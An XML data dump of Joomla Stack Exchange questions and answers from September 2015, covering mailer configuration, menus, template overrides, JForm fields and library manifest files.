  <row Id="13666" PostTypeId="2" ParentId="13661" CreationDate="2015-09-18T17:44:07.403" Score="1" Body="&lt;p&gt;You're not specifying &lt;em&gt;how&lt;/em&gt; you intend to send these emails, but by default, Joomla uses PHP to send emails, and does not require any additional password. I don't know about the technical details with this, but using a Joomla component (like AcyMailing or JNews) does not require any password other than the regular admin login.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can set the email options under &lt;strong&gt;Global configuration&lt;/strong&gt; -&gt; &lt;strong&gt;Server&lt;/strong&gt; tab from your Joomla admin area.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/0JuGQ.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/0JuGQ.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The lines from your &lt;code&gt;configuration.php&lt;/code&gt; that you mention are used only if you set &quot;SMTP&quot; as mailer. Otherwise, they are ignored.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public $smtpauth = '0';&#xA;public $smtpuser = '';&#xA;public $smtppass = '';  &amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt; I expected the password here&#xA;public $smtphost = 'localhost';&#xA;public $smtpsecure = 'none';&#xA;public $smtpport = '25';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Hence, you don't need the password for &lt;code&gt;info@mycompany.com&lt;/code&gt; in order to send emails from that account using Joomla.&lt;/p&gt;&#xA;" OwnerUserId="1629" LastActivityDate="2015-09-18T17:44:07.403" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13667" PostTypeId="1" CreationDate="2015-09-18T19:40:14.477" Score="0" ViewCount="817" Body="&lt;p&gt;I'm converting a static site to Joomla, and wanted to keep everything the same; So I also want to keep using my static HTML menu.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I currently don't care about responsiveness and so on...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is just one page on this site, it just a test(layout, ect):&#xA;&lt;a href=&quot;https://kicotest.demojoomla.com/&quot; rel=&quot;nofollow&quot;&gt;https://kicotest.demojoomla.com/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can someone tell me how I can use HTML &quot;menus&quot; based on links in Joomla?&#xA;My menu code looks like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div class=&quot;mainmenu&quot;&amp;gt; &amp;lt;!--main menu links--&amp;gt;  &#xA; &amp;lt;ul class=&quot;navigation&quot;&amp;gt;&#xA;  &amp;lt;li class=&quot;nav-item&quot;&amp;gt;&amp;lt;a id=&quot;link12&quot; style=&quot;border-style: solid; border-width: 1px;&quot; href=&quot;http://www.kico4u.de/#&quot; onclick=&quot;LangChange();&quot;&amp;gt;English menu&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;  &amp;lt;li class=&quot;nav-item&quot;&amp;gt;&amp;lt;a id=&quot;link1&quot; href=&quot;http://www.kico4u.de/index.html&quot;&amp;gt;Home&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;  &amp;lt;li class=&quot;nav-item&quot;&amp;gt;&amp;lt;a id=&quot;link2&quot; href=&quot;http://www.kico4u.de/english/uebungen/uebungen.html&quot;&amp;gt;Übungen&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;  &amp;lt;li class=&quot;nav-item&quot;&amp;gt;&amp;lt;a id=&quot;link3&quot; href=&quot;http://www.kico4u.de/english/grammatik/grammatik.html&quot;&amp;gt;Grammatik&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;  &amp;lt;li class=&quot;nav-item&quot;&amp;gt;&amp;lt;a id=&quot;link4&quot; href=&quot;http://www.kico4u.de/english/topicotw/topicotw.html&quot;&amp;gt;Hörübungen&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;  &amp;lt;li class=&quot;nav-item&quot;&amp;gt;&amp;lt;a id=&quot;link5&quot; href=&quot;http://www.kico4u.de/english/gbinfo/gbinfo.html&quot;&amp;gt;Infos zu GB&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;  &amp;lt;li class=&quot;nav-item&quot;&amp;gt;&amp;lt;a id=&quot;link6&quot; href=&quot;http://www.kico4u.de/english/uebungen/worksheets.html&quot;&amp;gt;Arbeitsblätter&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;  &amp;lt;li class=&quot;nav-item&quot;&amp;gt;&amp;lt;a id=&quot;link7&quot; href=&quot;http://www.kico4u.de/english/uebungen/pass_wort1.htm&quot;&amp;gt;Passwort kaufen&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;  &amp;lt;li class=&quot;nav-item&quot;&amp;gt;&amp;lt;a id=&quot;link8&quot; href=&quot;http://www.kico4u.de/forum/&quot;&amp;gt;Forum&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;  &amp;lt;li class=&quot;nav-item&quot;&amp;gt;&amp;lt;a id=&quot;link9&quot; href=&quot;http://www.kico4u.de/english/uebungen/references.htm&quot;&amp;gt;Referenzen&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;  &amp;lt;li class=&quot;nav-item&quot;&amp;gt;&amp;lt;a id=&quot;link10&quot; href=&quot;http://www.kico4u.de/english/ueberuns/ueberuns.html&quot;&amp;gt;Über uns&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;  &amp;lt;li class=&quot;nav-item&quot;&amp;gt;&amp;lt;a id=&quot;link11&quot; href=&quot;http://www.kico4u.de/english/impressum/index.html&quot;&amp;gt;Impressum&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA; &amp;lt;/ul&amp;gt; &amp;lt;!--main menu links end--&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The easiest way would be to replace the links right?&lt;/p&gt;&#xA;" OwnerUserId="6953" LastEditorUserId="126" LastEditDate="2015-10-21T14:41:38.827" LastActivityDate="2016-01-19T16:02:33.927" Title="How can I use a html link menu?" Tags="|joomla-3.x|menu|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13668" PostTypeId="2" ParentId="13667" CreationDate="2015-09-18T20:01:39.083" Score="2" Body="&lt;p&gt;The easiest way (though not an ideal solution) would probably be to use a Custom HTML module (either the built-in module, or one from the &lt;a href=&quot;http://extensions.joomla.org/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Joomla Extensions Directory&lt;/a&gt;). Simply paste your code, and publish the module to your main menu position.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, this goes agains the main purpose of a CMS, because your menu now is hard-coded, and not part of the Joomla menu system.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to keep your current links, and still use the Joomla menu system, you can set &lt;em&gt;Menu Item Type&lt;/em&gt; to &lt;strong&gt;System Links&lt;/strong&gt; -&gt; &lt;strong&gt;External URL&lt;/strong&gt;, and insert your static URL. Again, this is not good practice.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/ma35f.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/ma35f.jpg&quot; alt=&quot;External URL&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The best option is to create articles with your static content, and then add menu items that link to these articles. If you need your source code to look exactly as your example (with classes and IDs), you can create a &lt;a href=&quot;https://docs.joomla.org/How_to_override_the_output_from_the_Joomla!_core&quot; rel=&quot;nofollow noreferrer&quot;&gt;module override&lt;/a&gt; for the menu module (&lt;code&gt;ROOT\modules\mod_menu\tmpl&lt;/code&gt;). Copy the files you want to override to &lt;code&gt;ROOT\templates\YOURTEMPLATE\html\mod_menu\&lt;/code&gt; and modify the source code as needed to add your classes and IDs. You probably want to edit &lt;code&gt;default.php&lt;/code&gt;, &lt;code&gt;default_url.php&lt;/code&gt; or both.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope that helps.&lt;/p&gt;&#xA;" OwnerUserId="1629" LastActivityDate="2015-09-18T20:01:39.083" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13669" PostTypeId="1" CreationDate="2015-09-18T20:48:00.453" Score="2" ViewCount="607" Body="&lt;p&gt;&lt;a href=&quot;http://www.healthliteracyhub.com&quot; rel=&quot;nofollow&quot;&gt;My website&lt;/a&gt; is showing two blog menu items? Above menu and in the menu items!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to remove blog item which is showing above the menu?&lt;/p&gt;&#xA;" OwnerUserId="6854" LastEditorUserId="1629" LastEditDate="2015-09-18T21:10:16.930" LastActivityDate="2017-02-24T16:01:37.303" Title="Main menu displayed twice" Tags="|templates|extensions|menu-item|menu|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13670" PostTypeId="2" ParentId="13669" CreationDate="2015-09-18T21:17:56.270" Score="2" Body="&lt;p&gt;Your website is in offline-mode, so it's not possible to know what's going on.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, the Helix3 template has a menu system that is &lt;a href=&quot;http://www.joomshaper.com/documentation/helix3/mega-menu-settings&quot; rel=&quot;nofollow noreferrer&quot;&gt;configured in the template&lt;/a&gt; settings, and my guess is that you have one or more menu modules &lt;em&gt;in addition&lt;/em&gt; to the default menu loaded by the template framework.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Go to your module manager (&lt;strong&gt;Extensions&lt;/strong&gt; - &gt;&lt;strong&gt;Modules&lt;/strong&gt;), and filter the modules by &lt;em&gt;Type&lt;/em&gt; -&gt; &lt;em&gt;Menu&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/0WVul.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/0WVul.jpg&quot; alt=&quot;Menu filter&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Unpublish any module that could be displaying your main menu.&lt;/p&gt;&#xA;" OwnerUserId="1629" LastActivityDate="2015-09-18T21:17:56.270" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13671" PostTypeId="2" ParentId="13583" CreationDate="2015-09-19T05:46:18.810" Score="12" Body="&lt;p&gt;Since this problem seems has been already asked several times and there is still no good answer for that, I'd like to try to provide my solution from the template override side. The steps are quite complex but it should be easy.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Note : I'm using Joomla 3.4.4 and template protostar while creating this tutorial&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First, copy this files :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[root]/components/com_tags/views/tag/tmpl/default.php&#xA;[root]/components/com_tags/views/tag/tmpl/default.xml&#xA;[root]/components/com_tags/views/tag/tmpl/default_items.php&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;to&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[root]/templates/your_template_name/html/com_tags/tag/default.php&#xA;[root]/templates/your_template_name/html/com_tags/tag/default.xml&#xA;[root]/templates/your_template_name/html/com_tags/tag/default_items.php&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;replace the file names to something you like, for example 'taggedblog', so it will become :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[root]/templates/your_template_name/html/com_tags/tag/taggedblog.php&#xA;[root]/templates/your_template_name/html/com_tags/tag/taggedblog.xml&#xA;[root]/templates/your_template_name/html/com_tags/tag/taggedblog_items.php&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Open the file &lt;em&gt;[root]/templates/your_template_name/html/com_tags/tag/taggedblog.xml&lt;/em&gt; at the top of file you will see this code :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;layout title=&quot;com_tags_tag_view_default_title&quot; option=&quot;com_tags_tag_view_default_option&quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;change that to &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;layout title=&quot;Tagged Blog&quot; option=&quot;taggedblog&quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;At this point, you should see a new menu item type called Tagged Blog when creating a new menu item from your menu manager. See this image below&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/piFBP.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/piFBP.png&quot; alt=&quot;New Tagged Blog Menu Item&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, Open file &lt;em&gt;[root]/templates/your_template_name/html/com_tags/tag/taggedblog_items.php&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;at lines 62 delete this code :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;ul class=&quot;category list-striped&quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and it's &lt;code&gt;&amp;lt;/ul&amp;gt;&lt;/code&gt; closing tag at lines 90&lt;/p&gt;&#xA;&#xA;&lt;p&gt;then, still on the same file, delete these codes started at lines 64: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php if ($item-&amp;gt;core_state == 0) : ?&amp;gt;&#xA;                &amp;lt;li class=&quot;system-unpublished cat-list-row&amp;lt;?php echo $i % 2; ?&amp;gt;&quot;&amp;gt;&#xA;            &amp;lt;?php else: ?&amp;gt;&#xA;                &amp;lt;li class=&quot;cat-list-row&amp;lt;?php echo $i % 2; ?&amp;gt; clearfix&quot; &amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;&amp;lt;?php endif; ?&amp;gt;&lt;/code&gt; at lines 70, and closing tag &lt;code&gt;&amp;lt;/li&amp;gt;&lt;/code&gt; at lines 85&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Next, add &lt;code&gt;&amp;lt;div class=&quot;span5&quot;&amp;gt;&lt;/code&gt; at 64 lines after the code &lt;code&gt;&amp;lt;?php foreach ($items as $i =&amp;gt; $item) : ?&amp;gt;&lt;/code&gt; and add closing &lt;code&gt;&amp;lt;/div&amp;gt;&lt;/code&gt; before the &lt;code&gt;&amp;lt;?php endforeach; ?&amp;gt;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Next, arround lines 77 before the code &lt;code&gt;&amp;lt;?php if ($this-&amp;gt;params-&amp;gt;get('tag_list_show_item_description', 1)) : ?&amp;gt;&lt;/code&gt; add this code :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;    $db = JFactory::getDBO();&#xA;    $query = $db-&amp;gt;getQuery(true);&#xA;    $query-&amp;gt;select('introtext')-&amp;gt;from('#__content')-&amp;gt;where('id=' . (int)$item-&amp;gt;content_item_id);&#xA;    $db-&amp;gt;setQuery($query);&#xA;    //displaying the intro image&#xA;    $images  = json_decode($item-&amp;gt;core_images);&#xA;    if(!empty($images-&amp;gt;image_intro)) {&#xA;        echo '&amp;lt;img src=&quot;'.$images-&amp;gt;image_intro.'&quot;&amp;gt;';&#xA;    }&#xA;    //displaying the intro text&#xA;    $introtext = $db-&amp;gt;loadResult();&#xA;    echo $introtext;&#xA;&#xA;    ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;At this point, introtext and intro image should have been displayed on the the website.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, open the file &lt;em&gt;[root]/templates/your_template_name/html/com_tags/tag/taggedblog.php&lt;/em&gt; , around lines 51 you will see this code &lt;code&gt;&amp;lt;?php echo $this-&amp;gt;loadTemplate('items'); ?&amp;gt;&lt;/code&gt; , change that line to :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div class=&quot;row&quot;&amp;gt;&amp;lt;?php echo $this-&amp;gt;loadTemplate('items'); ?&amp;gt;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;That's all. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now try to create a menu item with Tagged Blog type from your joomla menu manager, and see the result.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To make things easier, I have uploaded those files above in &lt;a href=&quot;https://github.com/webchun/joomla-tagged-blog&quot; rel=&quot;noreferrer&quot;&gt;here&lt;/a&gt;. Have fun!&lt;/p&gt;&#xA;" OwnerUserId="2295" LastActivityDate="2015-09-19T05:46:18.810" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13672" PostTypeId="1" CreationDate="2015-09-19T07:33:10.753" Score="2" ViewCount="165" Body="&lt;p&gt;I 'm trying to change the order of the items showing in the &lt;code&gt;&amp;lt;div class=&quot;page-header&quot;&amp;gt;&lt;/code&gt;, where the Title comes before the category name, but I want the category name to show before the title of the article. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/lWlFH.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/lWlFH.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried using CSS and jQuery to reorder without success, so I guess I need to change the PHP code, but I 'm not sure where or how?&lt;/p&gt;&#xA;" OwnerUserId="6918" LastEditorUserId="115" LastEditDate="2015-11-19T08:05:17.077" LastActivityDate="2016-06-17T23:23:50.517" Title="How to change the order of the items on the blog-layout page for &quot;page-header&quot;?" Tags="|joomla-3.x|category|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13673" PostTypeId="2" ParentId="13672" CreationDate="2015-09-19T08:58:55.007" Score="1" Body="&lt;p&gt;It is generaly done by using template override technique. Try searching JSX for &quot;template override&quot; or so. Good staring point might be a question &quot;&lt;a href=&quot;https://stackoverflow.com/questions/25667039/joomla-3-category-blog-article-override?rq=1&quot;&gt;Joomla 3 category blog article override&lt;/a&gt;&quot;&lt;/p&gt;&#xA;" OwnerUserId="3650" LastEditorUserId="-1" LastEditDate="2017-05-23T12:38:51.907" LastActivityDate="2015-09-19T08:58:55.007" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="13675" PostTypeId="1" CreationDate="2015-09-19T22:25:01.013" Score="0" ViewCount="1224" Body="&lt;p&gt;I want to list all users from one of my k2 user groups&#xA;for example I've user group named as &quot;social team&quot; and wonder to list all members belong to social team user group in k2?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;is that possible? How?&lt;/p&gt;&#xA;" OwnerUserId="6870" LastActivityDate="2015-09-30T04:48:11.133" Title="How to list all users from certain user group in k2" Tags="|joomla-3.4|k2|user-groups|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="13676" PostTypeId="1" AcceptedAnswerId="13678" CreationDate="2015-09-20T07:47:07.663" Score="1" ViewCount="59" Body="&lt;p&gt;We are developing a component for joomla 3.x. In the component there are certain set of library functions (php files)  which are want to used in both the admin side and front-end.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;At the moment we have these library functions inside the folder 'administrator/comonents/com_mycom/libraries' and importing these libraries in both admin and front. We feel this is not correct and want a common place to have these libraries. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;What is the best place we can keep these libraries? &lt;/p&gt;&#xA;" OwnerUserId="2239" LastActivityDate="2015-09-20T07:57:21.017" Title="Best way of having common code for both admin and front-end" Tags="|development|joomla-3.4|custom-component|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13677" PostTypeId="1" AcceptedAnswerId="13683" CreationDate="2015-09-20T07:55:25.723" Score="2" ViewCount="924" Body="&lt;p&gt;I have a form field which needs to be shown depending on value selected for another field. For example&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;field name=&quot;field1&quot; type=&quot;list&quot; label=&quot;LABEL1&quot; description=&quot;DESC1&quot; filter=&quot;intval&quot; size=&quot;1&quot; default=&quot;0&quot; class=&quot;form-control&quot;&amp;gt;&#xA;  &amp;lt;option value=&quot;0&quot;&amp;gt;Option 0&amp;lt;/option&amp;gt;&#xA;  &amp;lt;option value=&quot;1&quot;&amp;gt;Option 1&amp;lt;/option&amp;gt;&#xA;&amp;lt;/field&amp;gt;&#xA;&amp;lt;field name=&quot;field2&quot; showon=&quot;field1:1&quot; type=&quot;list&quot; label=&quot;LABEL2&quot; description=&quot;DESC2&quot; filter=&quot;intval&quot; size=&quot;1&quot; default=&quot;0&quot; class=&quot;form-control&quot;&amp;gt;&#xA;  &amp;lt;option value=&quot;3&quot;&amp;gt;Option 3&amp;lt;/option&amp;gt;&#xA;  &amp;lt;option value=&quot;4&quot;&amp;gt;Option 4&amp;lt;/option&amp;gt;&#xA;&amp;lt;/field&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In my above code, field2 will be shown only when field1 value is 1. This works fine from the front-end form. However the same form does not work in my admin component. Is there any special JavaScript file needs to be loaded for this to work?&lt;/p&gt;&#xA;" OwnerUserId="4134" LastActivityDate="2015-09-21T03:01:13.843" Title="JForm showon attribute does not work in admin site" Tags="|jform|form-fields-types|showon|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13678" PostTypeId="2" ParentId="13676" CreationDate="2015-09-20T07:57:21.017" Score="2" Body="&lt;p&gt;The best way is to use the library feature provided by Joomla. It is well documented here:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://docs.joomla.org/Using_own_library_in_your_extensions&quot; rel=&quot;nofollow&quot;&gt;https://docs.joomla.org/Using_own_library_in_your_extensions&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your library folder will be stored in Joomla libraries folder, usually under &lt;code&gt;JPATH_ROOT.'/libraries'&lt;/code&gt; (&lt;code&gt;JPATH_LIBRARIES&lt;/code&gt;)&lt;/p&gt;&#xA;" OwnerUserId="4134" LastActivityDate="2015-09-20T07:57:21.017" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13679" PostTypeId="1" CreationDate="2015-09-20T14:49:32.040" Score="3" ViewCount="600" Body="&lt;p&gt;Having followed the excellent explanation for &lt;a href=&quot;https://joomla.stackexchange.com/questions/10325/how-to-create-a-view-with-filters-and-pagination&quot;&gt;How to create a view with filters and pagination&lt;/a&gt;, I have a custom field that filters &lt;em&gt;for the most part&lt;/em&gt;.  As it is, the code in the custom field is retrieving the filtering data from what is posted via &lt;code&gt;jInput&lt;/code&gt;, and it works splendidly.  However, if the user &lt;em&gt;returns&lt;/em&gt; to the page (&lt;em&gt;without&lt;/em&gt; the filtering data being posted), then Search Tools detects that there is an active filter, thus shows, but does not populate the form with the filter data (it's not in the post, thus nothing to populate the form with).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Clearly, I should be retrieving the filtering data from somewhere else, apparently the form, but I can't figure out how to get to it.  In the custom field form code, I can &lt;em&gt;see&lt;/em&gt; the filters and data, but can't figure out the correct method(s) to get to it in order to fill the form before rendering.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So from the custom fields &lt;code&gt;$this&lt;/code&gt;, how do I get to the protected form, then to the protected registry object, and ultimately to the protected data/filter as shown below? &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;JFormFieldMyCustomField Object&#xA;(&#xA;    [type:protected] =&amp;gt; mycustomfield&#xA;    [input_type:JFormFieldMycustomfield:private] =&amp;gt; &#xA;    .&#xA;    .&#xA;    .&#xA;    [form:protected] =&amp;gt; JForm Object (&#xA;            [data:protected] =&amp;gt; Joomla\Registry\Registry Object (&#xA;                    [data:protected] =&amp;gt; stdClass Object  (&#xA;                            [filter] =&amp;gt; stdClass Object (&#xA;                                    [search] =&amp;gt; &#xA;                                    [myfield2] =&amp;gt; 95&#xA;                                    [myfield1] =&amp;gt; Array (&#xA;                                            [0] =&amp;gt; 4&#xA;                                            [1] =&amp;gt; 5&#xA;                                            [2] =&amp;gt; 6&#xA;                                            [3] =&amp;gt; 37&#xA;                                        )&#xA;                                )&#xA;                        )&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="64" LastEditorUserId="-1" LastEditDate="2017-04-13T12:50:35.620" LastActivityDate="2015-09-20T16:48:37.820" Title="How to retrieve active filter from a custom field form?" Tags="|jform|custom-field|content-filtering|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13680" PostTypeId="2" ParentId="13679" CreationDate="2015-09-20T16:48:37.820" Score="3" Body="&lt;p&gt;Thank God for 5 year old posts and &lt;a href=&quot;https://en.wikipedia.org/wiki/Occam%27s_razor&quot; rel=&quot;nofollow&quot;&gt;Occam's Razor&lt;/a&gt;.  The Custom Field has direct access to the form that I was trying to get to!!!!  No need to load a model, helper, or otherwise.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$MyField1 = $this-&amp;gt;form-&amp;gt;getData()-&amp;gt;get('filter',array())-&amp;gt;myfield1;&#xA;$MyField2 = $this-&amp;gt;form-&amp;gt;getData()-&amp;gt;get('filter',array())-&amp;gt;myfield2;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="64" LastActivityDate="2015-09-20T16:48:37.820" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13681" PostTypeId="1" AcceptedAnswerId="13682" CreationDate="2015-09-20T21:31:24.850" Score="2" ViewCount="831" Body="&lt;p&gt;I cant't able to find a Joomla help page explaining how a library type extension can be installed.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://docs.joomla.org/Manifest_files&quot; rel=&quot;nofollow&quot;&gt;Joomla Manifest Files&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I refer the above URL and don't find any further explanation on library files.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can someone explain how to create the library extension so that it can be installed via Joomla installation manager.&lt;/p&gt;&#xA;" OwnerUserId="2239" LastActivityDate="2015-09-20T21:43:33.697" Title="Manifest file format for installing a Library package" Tags="|joomla-3.4|extensions|libraries|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13682" PostTypeId="2" ParentId="13681" CreationDate="2015-09-20T21:43:33.697" Score="4" Body="&lt;p&gt;Create a folder structure like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/my_library.xml&#xA;/my_library&#xA;  file_1&#xA;  file_2&#xA;  etc&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then in your &lt;strong&gt;my_library.xml&lt;/strong&gt; file, add the following&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?xml version=&quot;1.0&quot; encoding=&quot;utf-8&quot;?&amp;gt;&#xA;&amp;lt;extension type=&quot;library&quot; method=&quot;upgrade&quot; version=&quot;3.4&quot;&amp;gt;&#xA;    &amp;lt;name&amp;gt;My Library&amp;lt;/name&amp;gt;&#xA;    &amp;lt;libraryname&amp;gt;mylibrary&amp;lt;/libraryname&amp;gt;&#xA;    &amp;lt;author&amp;gt;Malaiselvan&amp;lt;/author&amp;gt;&#xA;    &amp;lt;creationDate&amp;gt;September 2015&amp;lt;/creationDate&amp;gt;&#xA;    &amp;lt;copyright&amp;gt;Copyright (C) 2015&amp;lt;/copyright&amp;gt;&#xA;    &amp;lt;license&amp;gt;http://www.gnu.org/licenses/gpl-3.0.html GNU/GPL&amp;lt;/license&amp;gt;&#xA;    &amp;lt;authorEmail&amp;gt;example@example.com&amp;lt;/authorEmail&amp;gt;&#xA;    &amp;lt;authorUrl&amp;gt;www.example.com&amp;lt;/authorUrl&amp;gt;&#xA;    &amp;lt;version&amp;gt;1.0&amp;lt;/version&amp;gt;&#xA;    &amp;lt;description&amp;gt;Some description&amp;lt;/description&amp;gt;&#xA;&#xA;    &amp;lt;files&amp;gt;&#xA;        &amp;lt;folder&amp;gt;my_library&amp;lt;/folder&amp;gt;&#xA;    &amp;lt;/files&amp;gt;&#xA;&amp;lt;/extension&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Once all is done, zip everything up and install it like you would any other extension.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this helps&lt;/p&gt;&#xA;" OwnerUserId="168" LastActivityDate="2015-09-20T21:43:33.697" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
